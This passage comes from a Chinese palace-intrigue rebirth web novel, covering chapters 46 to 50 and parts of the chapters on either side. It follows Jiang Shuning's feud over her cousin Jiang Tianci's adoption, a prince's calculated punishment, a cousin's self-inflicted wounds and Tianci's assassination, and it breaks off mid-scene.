“风月之地,臣女不宜久留。”话音未落,姜瑶真已戴上面纱,素手一扬,一根绳索飞向窗外,缠住横梁。 在萧修湛惊诧的目光中,她身姿轻盈地飞跃而出。 楼下传来阵阵惊呼。 姜瑶真落地后,回眸朝窗边的萧修湛盈盈一拜,旋即转身离去。 望着那抹远去的红色身影,萧修湛只觉魂牵梦绕。 “姜瑶真,当真是个妙人!” 他此前还因这桩婚约而耿耿于怀,觉得她出身低微,配不上正妃之位。 如今看来,如此妩媚又有趣的女子嫁给他,倒也不亏。 至于她的姐姐姜姝宁…… 萧修湛眼中闪过一丝阴鸷。 如此不识抬举,他定要让她后悔莫及! —— 姜天赐入狱,姜姝宁心头一块大石落地。 为表谢意,她特意做了两盒杏仁干酪饼送去景和宫,省得萧凌川又像上次那样,使唤她下厨。 萧凌川看着两个沉甸甸的食盒,目光飘向窗外纷飞的大雪,忽然幽幽开口:“许久未曾喝过羊肉汤了。” 姜姝宁:“……” 于是,她又一次被“请”进了景和宫的小厨房,认命地熬了一锅羊肉汤。 看着热气腾腾的汤面翻涌,姜姝宁气不打一处来。 他把她当什么了? 专属厨娘吗? 竟使唤得如此顺手! 她将汤钵重重地放在桌上。 萧凌川闻着熟悉的香味,满意地笑了。 他从前不喜羊肉的膻味,但姜姝宁总能处理得恰到好处。 前世他喝了她不少羊肉汤,虚弱的体质也渐渐好转。 重生后即便他将姜姝宁的秘方告知景和宫的厨子,做出来的味道也总差些意思。 如今,他终于又能好好享用了。 “殿下,臣女有一事相求。” “讲。”萧凌川此刻心思全在羊肉汤上。 “臣女的挚友夏嫣,与二皇子两情相悦,臣女想请殿下从中牵线。” 萧凌川闻言,剑眉微蹙:“本皇子与你虽同为重生之人,却并非许愿池里的王八,什么愿望都能满足。” 姜姝宁早料到他会拒绝,讥讽一笑:“殿下既能将臣女当厨娘使唤,臣女为何不能将殿下当成……” “够了!”萧凌川厉声打断,脸色阴沉,“若我拒绝呢?” 姜姝宁早有准备,从袖中掏出一包东西打开,赫然是姜葱蒜的混合物! 她作势要将这包东西丢进汤里。 萧凌川见状,立刻改口:“有话好说!” 第46章 为情所困的傻姑娘 第四十六章 为情所困的傻姑娘 “不是我不愿意,而是爱莫能助。”萧凌川盖上汤盖,避免羊肉汤遭受姜葱蒜的荼毒,这才缓缓开口,“二哥母族世代武将,镇守边疆,手握兵权,父皇早已心存忌惮。夏姑娘的父亲也是名将,他们二人若成婚,造反岂不是轻而易举?父皇不会同意的。” “那削弱二皇子母族的兵权呢?”姜姝宁不甘心地问。 萧凌川看着她,神色复杂:“你太天真了。对男人而言,权力地位高于一切,二哥怎会为了儿女情长放弃强大的母族?” “前世夏嫣能为了二皇子终身不嫁,常伴青灯,削弱母族势力而已,为何二皇子不能?” “男女总归是不同的。”萧凌川神色浅淡。 听到这话,姜姝宁脸上惨淡的笑意:“是啊,男人现实又薄幸,只有我们女子才傻得可以,为情爱飞蛾扑火,倾其所有。” 她想起前世在深宅中耗尽一生的自己,日复一日的殷勤讨好自己的夫君,最终也只落得满心疮痍。 而萧凌川即便娶了她这个不爱的女人,也能将她视作床笫间的玩物,夺位之路,步步为营,半点不耽搁。 萧凌川捕捉到了她眼底的落寞,语气软化了几分:“想让我成全他们,也并非不可。只是,我有条件。” 姜姝宁默然不语,静静地望着他,等待下文。 “首先,他必须为我所用;其次,从此刻起,他和他的母族必须韬光养晦,收敛锋芒,如此才能避开忌惮和猜忌;最后,夏姑娘下嫁,只能为侧妃。” “侧妃?”姜姝宁秀眉微蹙,“为何?” 夏嫣是夏家掌上明珠,即便她本人愿意,夏将军也断不可能同意爱女屈居人下。 侧妃,说到底终究是妾。 金枝玉叶的将军之女,如何能给人做妾? “唯有如此,才能让父皇相信,二哥并无与夏家结盟的野心。”萧凌川解释道。 姜姝宁沉吟片刻:“此事事关重大,我需先征询夏嫣的意见,再答复殿下。” 夏嫣对二皇子用情至深,前世二皇子故去,她便削发为尼,青灯古佛相伴一生。 只是,她不确定夏嫣是否愿意为了消除皇帝的疑虑,委身做妾。 姜姝宁走出景和宫,心思百转千回。 倏然,一道声音在她耳畔响起:“这不是姜姑娘吗?” 她心下一惊,抬眸便撞见萧修湛探究的目光。 真是冤家路窄! 她强压下心头的憎恶,敛衽行礼:“臣女见过三皇子殿下。” “姜姑娘这是从哪来?”萧修湛的目光落在她手中空荡荡的食盒上,唇角勾起一抹嘲讽,“不知是哪位有此口福,能得姜姑娘亲手做的糕点?说起来,本皇子也许久未尝姜姑娘的手艺了,不知何时才能有幸一饱口福?” 姜姝宁不愿与他多做纠缠,只淡淡一笑:“殿下说笑了,臣女这点雕虫小技,实在不足挂齿。天色已晚,臣女先行告退。” 语毕,她福了福身,转身离去。 凝视着姜姝宁渐行渐远的背影,萧修湛的神色逐渐阴沉下来。 他侧首问身后的侍卫:“查清楚了吗?” “回殿下,那姜二少爷确实是被设计陷害,而且是四皇子的人所为。” “哼!”萧修湛冷哼一声,目光如刀锋般射向姜姝宁消失的方向,“连自己的堂兄都能狠心下手,果然是蛇蝎心肠!只是你找四弟帮忙,未免太不谨慎,竟让这把柄落在了本皇子手中!” 侍卫察言观色,连忙奉承道:“殿下英明!若是让陛下知晓四皇子设局诬陷姜家,龙颜震怒之下,四皇子定然失宠!” 萧修湛唇角勾起一抹阴冷的笑意。 “四弟啊四弟,你最近风头太盛,也该是时候压一压你的锐气了!” 姜姝宁疾步走在宫道上,身后陡然传来一声温润的男声:“姜姑娘,请留步!” 她心中一凛,回首望去,只见萧怀瑾一袭青白色锦服,正行色匆匆地朝她走来。 今日是什么日子? 怎的进宫一趟,竟遇见了这许多皇子? “臣女见过五皇子殿下!”姜姝宁敛衽行礼,心中却微微泛起涟漪。 “姜姑娘免礼。”萧怀瑾的目光落在她身上,带着几分关切,“前几日让宫人去相府请你,他们说你病了。如今可好全了?” 姜姝宁眸光微闪,一丝慌乱转瞬即逝。 她自然没病,不见他,只是怕他对自己生了情愫。 萧凌川曾明确表示,萧怀瑾并非她的良配,她也不想卷入他们皇室子弟的夺嫡之争中,所以才故意疏离他。 “前些日子是有些不适,如今已无大碍,劳烦殿下挂心了。”她顿了顿,垂下眼帘,“天色已晚,臣女先行告退。” 语毕,她福了福身,便加快脚步离去,留下萧怀瑾一人伫立在原地。 她能感受到他灼热的目光落在自己背上,心中五味杂陈。 五皇子,对不住了。 前路漫漫,我们终究不是一路人。 翌日,姜姝宁专程去了趟夏府,一进门便开门见山地问夏嫣:“你对二皇子,可是生了情愫?” 夏嫣一张俏脸瞬间涨得通红,支支吾吾道:“你、你是如何得知的?” 姜姝宁活了两世,还是头一次见夏嫣这般娇羞的模样,心中已然明了。 前世她真是糊涂,竟连挚友的心意都未曾察觉。 如今重来一世,她定要弥补前世的遗憾,助她良缘得成。 她握住夏嫣的手,柔声道:“你莫管我是如何得知的。只是二皇子身份尊贵,母族又手握重兵,陛下对他本就心存忌惮。你若想与他结为连理,只怕不能为正妃。” 夏嫣的脸更红了,低垂着头,声若蚊蝇:“我……我也未曾想过那般长远。况且,二皇子他……也未必对我有意。如今想这些,是否为时尚早?” “什么?你和二皇子并非两情相悦?”姜姝宁大为诧异。 夏嫣轻叹一声:“二皇子心怀天下,眼中只有武术和边疆百姓,怎会沉溺于儿女私情?他之所以与我多有往来,不过是因为我略懂武艺,他喜欢与我切磋罢了。我自知身份低微,不敢奢望皇子妃之位。” 姜姝宁闻言,心中愕然。 难道前世,夏嫣竟是单相思? 姜姝宁有些哭笑不得。 原来前世为情所困的傻姑娘,并非只有她一人。 第47章 斩断她所有的后路 第四十七章 斩断她所有的后路 夏嫣见姜姝宁欲言又止,关切地问:“姝宁,你怎么了?” 姜姝宁轻轻一叹,幽幽道:“没什么,我只是忽然觉得,我们果然是同一类人,难怪能成为挚友!” 心中暗忖:虽然旁的不清楚,但这为男人犯傻的程度,还真是不相上下啊! 离开夏府,姜姝宁一路沉思,心中思绪万千。 既然夏嫣是单相思,那么只要二皇子平安无事,她便不会重蹈前世覆辙,孤灯伴余生。 前世二皇子之所以会被暗算,是因得了太后相助,阻了三皇子萧修湛的帝王之路。 而今生,得太后青睐的却是萧凌川…… 念及此处,她心中一紧,三皇子会不会对萧凌川痛下杀手? 如今萧凌川羽翼未丰,未必是他的对手。 而最近,他似乎太锋芒毕露了些。 回到姜府,只见府内一片喧闹嘈杂。 “发生何事了?”姜姝宁开口问道。 “回大小姐,二少爷回来了。”下人回道。 “他不是因聚赌被抓入狱了吗?”姜姝宁有些诧异。 “听说官府查明二少爷是遭人陷害,故而释放了。” 姜姝宁闻言,眉心一跳。 究竟是谁有如此大的本事,竟能识破萧凌川设下的圈套? “二哥回来,姐姐怎么好像不高兴?”姜瑶真的声音从背后传来,带着显而易见的恶意,“听说二哥是遭人陷害的,这件事该不会跟姐姐有关吧?” 她这意味深长的话恰好将刚回府的姜天赐吸引过来。 他像是抓住了什么把柄,气势汹汹地走向姜姝宁,厉声质问道:“姝宁,是不是你派人陷害我的?” 面对姜天赐咄咄逼人的目光,姜姝宁心中虽是一惊,面上却不动声色,反问道:“二哥,想给我定罪,也要拿出证据。请问,你的证据呢?” “除了你,这相府里还有谁巴不得我入狱,失去过继到大伯名下的资格?”姜天赐怒目而视。 “二哥这么说,便是没有证据了。既然没有证据,就请不要信口雌黄,血口喷人!”姜姝宁语气清冷。 她确实授意萧凌川设局,让姜天赐身陷囹圄,可若他不好赌成性,又怎会轻易被人引 诱至地下赌 场? 她不相信姜天赐有本事查出此事是萧凌川所为。 他如今的嚣张,不过是色厉内荏罢了,她自然不能露出丝毫心虚。 两人正针锋相对之际,姜丞相沉着脸走了过来,厉声问道:“怎么回事?” “大伯来得正好!侄儿怀疑姝宁害怕侄儿过继到大伯名下,故意买通他人陷害侄儿!”姜天赐立刻告状。 姜丞相有些诧异地看向姜姝宁:“宁儿,真有此事?” “父亲,这只是二哥的一面之词!他没有任何证据便信口开河,您切莫听他胡言乱语!”姜姝宁矢口否认。 “好,倘若此事最终查明是你在背后操纵,你该如何?”姜天赐步步紧逼。 “你想如何?”姜姝宁毫不畏惧地迎上他的目光。 她对萧凌川有着绝对的信心,前世他都能不动声色地暗杀自己的兄弟,如今又怎会在姜天赐这件小事上露出马脚? “届时,我要你当着姜家所有人的面,跪下向我赔罪!”姜天赐咬牙切齿地说道。 她冷笑一声:“那就等你拿到证据再说吧!” 这本是一个小插曲,姜姝宁并未放在心上。 前世萧凌川便已足智多谋,如今重生一世,他更不可能授人以柄。 不料几日后,姜丞相早朝归来,面色沉重地将她唤至书房。 “宁儿,”他痛心疾首地开口,“你为何要陷害天赐?” 姜姝宁闻言一惊,慌忙辩解:“父亲,女儿没有!” “你还敢狡辩!此事陛下都知道了!是四皇子为你寻人做的,是不是?陛下已将他送 入宗人府惩戒!” 姜姝宁一惊,她竟然连累了萧凌川? 她慌忙跪在地上:“父亲,此事乃女儿一人所为,与四皇子无关!女儿这就入宫,向陛下禀明一切,求陛下开恩!” “不许去!”姜丞相厉声喝止,“陛下顾念为父颜面,并未将此事公之于众。四皇子既已为你受过,你再去求情,岂非辜负了陛下和四皇子的一片苦心?” 姜姝宁泪眼婆娑,无措地望着父亲:“那……女儿该如何是好?” 姜丞相长叹一声:“事已至此,多说无益。四皇子如此待你,可见他对你一片真心,况且,他先前还救过你的性命,不如,就将你许配给他吧。至于天赐,我们确有亏欠,将他过继到我与你母亲名下,也算是一种补偿。” 姜姝宁脑中轰然作响,脱口而出:“不!父亲,万万不可!” 姜丞相眉头紧锁:“你是不愿嫁给四皇子,还是不愿天赐过继到我们名下?” “女儿……两个都不愿!” 直到此刻,姜姝宁才恍然大悟,一向运筹帷幄的萧凌川,为何会在此事上露出马脚,甚至惊动了陛下。 其实,从他试探询问她意属哪个皇子那一刻开始,便已决定斩断她所有的后路。 他一手导演了这出戏,让众人皆以为她阴险毒辣,为了一己私利不惜算计堂兄,令所有倾慕于她的人都对她避之不及;同时,又让所有人认为他对她情根深种,甚至到了不顾一切的地步。 她与他同样拥有预知未来的能力,若她嫁给其他皇子,对他而言将是巨大的威胁。 他想娶她,并非源于爱意,而是为了掌控! 她绝对不能让他得逞! “宁儿,你这次行事太过莽撞!犯错岂能不付出代价?”姜丞相痛心疾首。 “父亲所谓的代价,便是要女儿将自己一生的幸福赔给四皇子吗?父亲莫非忘了,女儿有太后懿旨,婚事自主。女儿不愿嫁给四皇子!” 姜姝宁语气决绝,不管萧凌川如何机关算尽,此生她绝不会重蹈覆辙! “你……”姜丞相气结,怒斥道,“我怎么会生出你这么个女儿!” “女儿恳求父亲,不要让二哥过继到相府。虽然这次是他咎由自取,但二哥嗜赌成性,若将他过继到父亲名下,将来相府的基业肯定会被他败光的!” “你的婚事我管不了,但过继人选,我还能做主!”姜丞相拂袖愤然而去。 他前脚刚走,凌芜后脚便冲了进来,将姜姝宁扶起,担忧地问:“大小姐,究竟发生了何事?老爷为何如此震怒?” “我被四皇子摆了一道。”姜姝宁面色阴沉,眸中闪过一丝寒芒。 凌芜闻言大惊,心中思绪翻涌。 四皇子不是爱慕大小姐吗? 为何要如此算计她? 第48章 一箭双雕 第四十八章 一箭双雕 凌芜扶着姜姝宁走出书房,在游廊上正巧遇见姜瑶真。 姜瑶真眼带讥诮,似笑非笑:“想不到向来温婉端庄的姐姐,竟会设计陷害自己的堂兄,甚至连累四皇子殿下受罚。 可怜四皇子殿下,好不容易得到陛下青睐,却因帮你做这等亏德之事,在陛下心中失了分量! 姐姐,你这般,算不算红颜祸水?哦,不对,姐姐姿色平平,恐担不起‘红颜’二字,最多算个‘祸水’罢了!” 面对她的冷嘲热讽,姜姝宁不予理会,由凌芜搀扶着径直离开。 凌芜忿忿不平:“二小姐如此幸灾乐祸,此事定然少不了她的推波助澜!四皇子殿下若受陛下责罚,受益的可是她未来的夫君三皇子,她自然欢喜!” 姜姝宁心中也已猜出几分。 看来,姜天赐被萧凌川设计一事闹到陛下面前,三皇子在其中怕是没少出力。 不想相府之事,竟成了两位皇子争宠算计的工具。 如今她最忧心的,还是过继之事。 若是姜天赐真成了相府继承人,那才是真正的家门不幸! 也只有姜瑶真那样的蠢人,才只顾着如何踩在她头上,丝毫不顾相府的未来。 回到翠竹院,姜姝宁向凌芜问道:“你先前行走江湖,可曾结识能帮我查探二哥在徐州之事的人?所需银两不必顾虑,我急需他嗜赌成性的证据,好打消父亲过继他的念头。” 凌芜迟疑片刻,开口道:“大小姐,此事何不求助四皇子殿下……” “他并非值得依靠之人,况且如今他也自身难保。”姜姝宁冷声道。 之前是她太过天真,竟向萧凌川求助。 他可从来不是什么好人! 凌芜心中暗叹,若是四皇子殿下得知大小姐如此不信任他,定然十分难过。 犹豫片刻,她道:“奴婢尽力一试。” 她已经偷偷决定,要将大小姐的燃眉之急告知殿下,请他尽快出手相助。 姜姝宁感激道:“多谢你,凌芜。” —— 皇宫,景和宫内。 七皇子望着萧凌川伤痕累累的后背,无奈叹息。 若非宗人府的人手下留情,这四十杖打下来,不死也残。 “四哥,你这是何苦呢?此事明明可以做得天衣无缝,你却偏偏留下破绽,如今可好,白白便宜了三哥。他现在与熙贵妃想必正偷着乐呢!” 萧凌川趴在床榻上,面色苍白,却丝毫不损他的俊美。 他唇角微勾,露出一抹浅笑:“这顿打我岂会白挨?自然有所图谋。” “什么图谋?”七皇子眼珠滴溜溜一转,忽而恍然大悟,“你是想断了姜姑娘的姻缘,让其他皇子不敢娶她!四哥,你这招可真是狠辣!” 萧凌川睨了他一眼:“猎场刺杀之事,父皇已对我心生疑虑,我是故意让他寻到错处,以减轻他对我的忌惮。” 猎场刺客招供,和盘托出刺杀过程,却对箭上毒药的来源一无所知。 皇帝由此怀疑,萧凌川才是幕后主使,猎场刺杀不过是他自导自演的苦肉计。 “原来如此!你是想让父皇以为你是个情种,从而降低对你的戒心。此计甚妙!”七皇子赞叹道,“运筹帷幄之人,怎会在区区小事上露出马脚?四哥,好一招将计就计!” 萧凌川眸色晦暗:“至于坏了姜姑娘的姻缘……不过是顺势而为,并非我的本意。” 七皇子意味深长地笑道:“四哥,你这分明是一箭双雕!如今父皇不再对你心存芥蒂,姜姑娘也无人敢娶,岂不两全其美?” “休要胡言!”萧凌川低声警告。 就在这时,凌风来了。 “殿下,凌芜来信,姜姑娘想寻姜二少爷在徐州赌博的证据,阻止姜丞相将他过继。” 萧凌川淡淡吩咐:“将我查到的证据匿名交给姜丞相。” “是!”凌风领命而去。 七皇子萧琪钰不解:“四哥既已掌握姜天赐嗜赌的证据,何必多此一举设局陷害他?平白给了三哥告状的机会。” “我是故意的。”他顿了顿,意味深长道,“父皇不喜欢过于精明的儿子。” 越是锋芒毕露,越容易招致猜忌。 有时候,藏拙也是一种智慧。 —— 乾清宫内,皇帝品茗,漫不经心地问站在一旁的大总管陈顺:“老四的伤势如何了?” “已吩咐宗人府手下留情,四十杖下去虽皮开肉绽,却未伤筋动骨,休养几日便可痊愈。”陈顺躬身答道。 “送些上好的金疮药过去,他曾救驾有功,莫要留下病根。” “是。” 陈顺迟疑片刻,试探道,“陛下先前怀疑四皇子与南月勾结,此事还需继续追查吗?” 皇帝冷笑一声:“不必了。为个女人如此,可见他不过是个情种,不足为惧。” 大邺历代帝王皆是薄情寡性之人,沉溺儿女情长的皇子,又怎会有争夺天下的野心? 他的这个儿子,不足为惧。 —— 姜丞相得知女儿求助四皇子,设局陷害侄子,心中愧疚难当,便亲自告知姜天赐欲立他为继承人。 姜天赐得意洋洋,径直前往西院炫耀。 见姜天泽正伏案读书,便冷嘲热讽道:“三弟不必再装模作样了!大伯已决定过继我为嗣,你就算读破万卷书,也休想继承相府!” 姜天泽抬眸,潋滟凤眼中闪过一丝寒光:“恭喜二哥。只是天泽读书并非为了继承家业,只是单纯喜欢读书。二哥若无事,还请回吧。” “喜欢读书?你一个女支子生的贱种,也想考取功名?痴心妄想!”姜天赐上前,轻佻地拍了拍姜天泽的脸,“你这般模样,不如去南风馆卖艺,还能赚些银子!” 姜天泽勃然大怒,一拳挥出,正中姜天赐面门。 他自幼习武,最近又得师傅点拨,这一拳力道十足,打得姜天赐眼冒金星。 姜天赐捂着脸哀嚎,引来了姜三爷和姜三夫人。 姜三夫人慌忙抱住盛怒的姜天泽,姜三爷则连连向姜天赐赔不是。 姜天赐不依不饶,恶狠狠地威胁道:“等我过继到大伯名下,第一个就赶你们三房出去!你们给我等着!” 他一走,姜三爷便将怒火发泄到姜天泽身上。 他抄起一根粗大的棍子,狠狠砸在姜天泽后背上,边打边骂: “你这个没用的东西!老子白养你这么多年,好不容易盼着你出息,能继承相府,到头来还是被天赐抢走了!老子养你还有什么用?!” 姜三夫人见状,心疼儿子,哭得撕心裂肺,想要阻拦,却被姜三爷一声怒吼吓得不敢动弹:“我养的儿子,打他几下怎么了?你要是心疼,就给我带着他滚!” 姜三夫人瞬间噤声,只能以泪洗面,眼睁睁看着儿子挨打。 姜天泽紧咬着牙关,脸色惨白,却始终未吭一声。 姜三爷打累了,扔下棍子,怒气冲冲地拂袖而去。 姜三夫人这才敢上前,颤抖着手抚摸着儿子伤痕累累的后背,哽咽道:“天泽,疼不疼?娘给你上药……” 姜天泽抬起头,望着母亲憔悴的面容,惨白的脸上浮现出一丝苦涩:“娘……我的亲生父亲到底是谁?他为什么要抛弃我们?他可知道,这些年我们是怎么过来的?” 这一句锥心之问,如同尖刀般刺入姜三夫人的心脏,她捂住脸,再也抑制不住内心的悲痛,哭得肝肠寸断。 第49章 病态的执拗 第四十九章 病态的执拗 姜姝宁听说姜天赐去西院闹了一通,害姜天泽被姜三爷毒打,一颗心顿时揪了起来,连忙带着凌芜赶往西院。 刚踏进院门,一股浓重的血腥味便扑面而来。 屋内,姜天泽趴在床上,背上的衣衫已被鲜血浸透,狰狞的伤口如同一条条蜿蜒的蜈蚣,触目惊心。 姜三夫人坐在床边,哭得肝肠寸断。 看到这一幕,姜姝宁想起姜天恩临死前的情景,也是被打得背部血肉模糊,奄奄一息,心口骤然一紧。 “三叔怎么能下如此重的手?” 姜三夫人只是不停地摇头,哽咽着说不出话来。 这时,姜天泽虚弱的声音传来:“大姐姐,是我先动手打了二哥……二哥说……等他过继到大伯名下,便要赶我们三房走……父亲这才打我的……” 姜姝宁心口顿时一滞。 她接过姜三夫人递来的药膏,坐在床边,指尖沾了些药膏,缓缓涂抹在姜天泽的伤口上。 冰凉的药膏触碰到滚烫的皮肉,姜天泽不由得轻吸一口气,背部微微一缩,却硬是咬牙没吭声。 姜姝宁的手顿了顿,目光落在那些狰狞的伤痕上,心底的愧疚如潮水般涌来。 要不是她让萧凌川给姜天赐下套,姜丞相也不会为了弥补姜天赐,将继承人之位许给他。 姜天赐若没这底气,又怎敢跑到西院耀武扬威? 说到底,是她亲手将姜天泽推向了这场灾难。 她给了三房希望,又亲手将这希望碾碎。 这和萧凌川对她所做的事有何区别? 他便是这样给她希望,又亲手将她推向深渊的。 “大姐姐……”姜天泽忍着疼,反过来安慰她,“你别自责。这事不怪你。二哥早就看我不顺眼了,就算不为了过继一事,也会因其他事和我起冲突。我从小被父亲打惯了,不怕疼。” 姜姝宁动作一顿,抬头看向他,四目相对,她在他眼中看到了几分复杂的情绪——有感激,有依赖,还有一丝她读不懂的悸动。 她心头一跳,忙移开视线,低声道:“三弟先安心养伤,过继一事,我定会给你一个交代。” 姜天泽没再说话,他闭上眼,感受着姜姝宁指尖的轻柔,背上的疼痛似乎都淡了几分。 这一刻,他觉得这顿打值了。 姜姝宁的关心,让对那个被他称作“父亲”的人也没那么憎恶了。 帮姜天泽小心上完药后,姜姝宁细细叮嘱几句,这才带着凌芜离去。 姜天泽的目光追随着她远去的背影,凤眸中荡漾起潋滟波光。 姜三夫人将这一切尽收眼底,欲言又止。 之后几日,出于自责和心疼,姜姝宁每日都去西院探望姜天泽,甚至在小厨房中亲手熬制补血的汤药给他喝。 如此几日过去,姜天泽背上的伤势却未见好转,反而发起高烧。 姜姝宁心急如焚地请来府医。 府医看过后也觉得蹊跷:“老夫开的汤药膏药,皆是上品,三少爷的伤势为何不减反增?” “许是三弟体弱,不如加大药量试试?”姜姝宁提议道。 府医连忙安慰道:“大小姐不必忧心,三少爷并未伤及筋骨,只是皮外伤,只需静待痊愈即可。老夫这就加大药量。” 姜姝宁凝视着躺在床上脸色苍白的姜天泽,眼底的担忧满溢而出。 一旁的凌芜见状,心中五味杂陈。 凌风前几日告诉她,四皇子受了杖刑,伤势远比三少爷严重,而大小姐得知后,却只冷冷地丢下一句:“这都是他自找的,与我何干?” 若是四皇子知道大小姐对他不闻不问,却日日探望三少爷,不知会有多难过。 姜姝宁离开后,原本阖目沉睡的姜天泽倏然睁开双眼,眸中闪烁着异样的光彩。 他将桌上未尽的汤药倾倒,旋即褪去衣衫,用指尖撕扯着背上已然结痂的伤口。 这一幕恰被进屋的姜三夫人撞见,她惊呼一声,疾步上前阻止:“天泽!你这是做什么?!” 姜天泽面色惨白如纸,唇角却勾起一抹妖冶而诡异的笑意:“只要背上的伤不好,大姐姐就会日日来看我……” “你疯了!”姜三夫人难以置信地望着他,声音颤抖,“难怪你这伤迟迟未愈!你怎会如此糊涂?你以为姝宁会因愧疚,便对你生出旁的心思?在她心中,你终究只是她的堂弟!” “为何不能?”姜天泽脸上笑意更甚,带着几分病态的执拗,“母亲这些年不也因对父亲的愧疚,才隐忍至今?可见愧疚是掌控人心的利器。我所求的,不过是大姐姐能日日来见我。” 姜三夫人望着儿子近乎魔怔的模样,既心疼,又后悔。 倘若当初她没有选择这条苟且偷生的路,她的儿子又何至于落到这般田地? 夜深人静,她悄然潜出相府,以特制的哨音吹奏出一段古怪的音符。 须臾,一个黑衣人如鬼魅般出现在她面前。 “我答应你,继续为你研制毒药,但我有个条件。”姜三夫人目光灼灼地盯着黑衣人,语气坚定,“我要姜天赐死!” 黑衣人微微颔首,旋即飞身跃上屋檐,消失在茫茫夜色之中。 姜三夫人回到西院,凝视着沉睡中的姜天泽,泪水无声滑落。 “我的儿啊,当年在你爹身边委曲求全,是为了你;如今,再次铤而走险,亦是为了你。” 她的儿子,本应拥有尊贵的身份,如今却为了得到一个女人的垂怜,不惜自残,只为换取那份微薄的关注。 身为母亲,她怎能不心痛? 既然他想成为相府的继承人,那她便倾尽所有,助他如愿! 即便付出再大的代价,也在所不惜! 夜已深沉,姜丞相批阅完最后一份公文,正准备吹灯歇息。 忽然,一阵阴风破窗而入,卷起书案上的纸张飞舞,一个信封如同凭空出现一般,落在他的桌案上。 姜丞相心头一凛,疾步走到窗边探身查探。 窗外除了浓稠如墨的夜色,空无一物,只有寒风瑟瑟。 他满腹狐疑地回到桌案前,拿起那个突兀出现的信封。 拆开一看,信封里放着一张徐州赌坊的欠条,日期是去年的,上面还有姜天赐的签字画押,以及鲜红的指印。 姜天赐,竟然真的是个赌徒! 姜丞相眉头微蹙,紧紧盯着那张欠条。 究竟是谁在这个节骨眼上将这封信送来? 对方的目的又是什么? 第50章 一剑封喉 第五十章 一剑封喉 翌日,姜丞相派了个亲信快马加鞭去一趟徐州,确认这张欠条的真伪。 两日后,亲信快步入内,躬身禀报道:“大人,小的已将欠条送往徐州赌坊查验,确为真迹。去年姜二公子在那处欠下数百两巨款,后姜二爷变卖了手头上的玉器铺子才得以清偿。如今徐州坊间,人人都知姜家二公子是个嗜赌如命的赌鬼!” 姜丞相闻言,脸色愈发阴沉。 难怪得知姜天恩噩耗时,他那二弟便迫不及待地拖家带口赶来京城,想来是没了玉器铺子支撑,在徐州已难以度日。 这才急着让姜天赐过继到相府,也好寻个依靠。 正沉思间,忽闻家丁叩门禀报:“老爷,二夫人求见,说是有事相商。” 姜丞相眉宇间闪过一丝不耐,却还是吩咐道:“让她进来吧。” 话音未落,姜二夫人已提着一篮子鸡蛋,满脸堆笑地走了进来。 “大伯,这是妾身今早在集市上买的土鸡蛋,新鲜得很,特地送来给您尝尝鲜。” 姜丞相神色淡漠,语气疏离:“弟妹有心了。只是府中一应俱全,采买之事皆有下人操办,弟妹不必如此费心。” 姜二夫人笑容不减,却话锋一转:“其实妾身今日前来,是想与大伯商量天赐过继之事。不知大伯可否在过继那日,宴请徐州的亲朋好友,也好让他们沾沾喜气,一同见证这桩喜事?” 姜丞相脸色骤变,语气冰冷:“弟妹,过继之事我尚需斟酌。若无其他要事,便请回吧。我还有些公务要处理。” 说罢,便唤来家丁,将姜二夫人送了出去。 他的亲信也随即告退。 送走姜二夫人后,那家丁回到书房,面露不满之色:“老爷,这二夫人也真是的,自家儿子过继到大房,本就不是什么光彩的事,居然还要大宴宾客,宣扬出去。若非大少爷遭此不幸,咱们哪里需要二少爷过继?她这做派,不知道的还以为她巴不得大少爷早逝的事弄得众所周知呢!” 姜丞相冷声道:“她哪里是想宣扬喜事,分明是想让天赐的那些债主们都知道他如今是相府的继承人,好日后找我们相府讨债!” 家丁闻言大惊失色:“老爷,二少爷当真是个赌徒?” 姜丞相摆了摆手:“此事你不必过问。去,把大小姐请到书房来。” “是,老爷。”家丁领命而去。 姜姝宁才踏进书房,尚未开口询问父亲唤她何事,便见家丁慌慌张张地闯了进来,面如土色,哆嗦着嘴唇道:“老爷,不好了……” 姜丞相眉峰紧蹙,不悦道:“何事如此惊慌?成何体统!” 家丁深吸一口气,颤声道:“方才有官府的人来报,说二少爷他……他……” 他顿了顿,似是不忍再说下去,“死在一条巷子里,让我们寻人去认尸!” “什么?!”姜丞相手中的茶盏“哐当”一声落在地上,摔得粉碎,茶水四溅。 姜姝宁脸色骤变。 这消息来得太过突然,犹如晴天霹雳,震得她心神俱裂。 怎么会发生这样的事情? 姜丞相再也顾不得其他,踉跄着起身,跟着家丁匆匆而去。 姜姝宁只觉一颗心砰砰直跳,几乎要从胸腔中蹦出来。 究竟是谁,对姜天赐下了如此狠手? “凌芜,快跟出去看看,究竟是不是二少爷出事了!” “是,大小姐!”凌芜领命而去,脚步匆匆。 不到半盏茶的功夫,凌芜便脸色煞白地返回,声音颤抖:“是二少爷,死在巷子里,被人一剑封喉。那一剑干净利落,一刀致命,应是杀手所为。” 姜姝宁如遭雷击,踉跄后退几步,险些跌倒。 姜天赐究竟得罪了什么人,竟有人专程派杀手来杀他? 相府里,姜二夫人和姜莲的哭喊声几欲撕 裂天际,如杜鹃啼血,撕心裂肺。 姜姝宁想起姜天恩死的那日,她与母亲也是哭得这般肝肠寸断,心中不忍,便出了书房准备去安抚她们。 谁知姜二夫人一看到她,就像头发怒的母豹一般冲向她,若不是凌芜及时拦住她,她的指甲此时大概已经划破姜姝宁的脸。 “是你!是你找人杀了你二哥!你这个毒妇!”姜二夫人声嘶力竭,眼中的恨意几乎要将姜姝宁吞噬。 姜姝宁一惊:“二婶,饭可以乱吃,话不能乱说!你如此污蔑我,可有证据?” “还要什么证据?这相府里,除了你,还有谁容不下天赐!姝宁,你好狠的心!尚未出阁,便痛下杀手,你这样蛇蝎心肠的女人,这辈子也别想嫁人!” 丧子之痛,令姜二夫人几近疯狂,口中的咒骂如暴雨倾盆,恨不得将姜姝宁生吞活剥。 姜姝宁望着她那张因悲愤而扭曲的脸,有些百口莫辩。 她确实曾设计陷害姜天赐,也确实不愿他继承相府,可她从未想过要他的性命。 但她知道,此时任何解释都是徒劳。 她曾借萧凌川之手陷害姜天赐,如今他又惨死,谁又能相信这件事与她无关呢? 姜丞相面色阴沉,厉声吩咐:“来人,将姜二夫人带下去,好生看管!至于天赐,我会妥善安葬。” “妥善安葬?我的儿子死了,就只换来一句妥善安葬吗?”一直隐忍不发的姜三爷此刻也爆发了,如受伤的野兽 般嘶吼,“大哥,人命在你眼中就如此轻贱吗?” “二弟,你想如何?”姜丞相语气低沉,带着一丝压抑的怒火。 “当年父母大人仙逝,你身为嫡长子,继承了大半家业!如今你的女儿买凶杀害了我儿,我此生再无子嗣送终!你理应分我一半家产!” 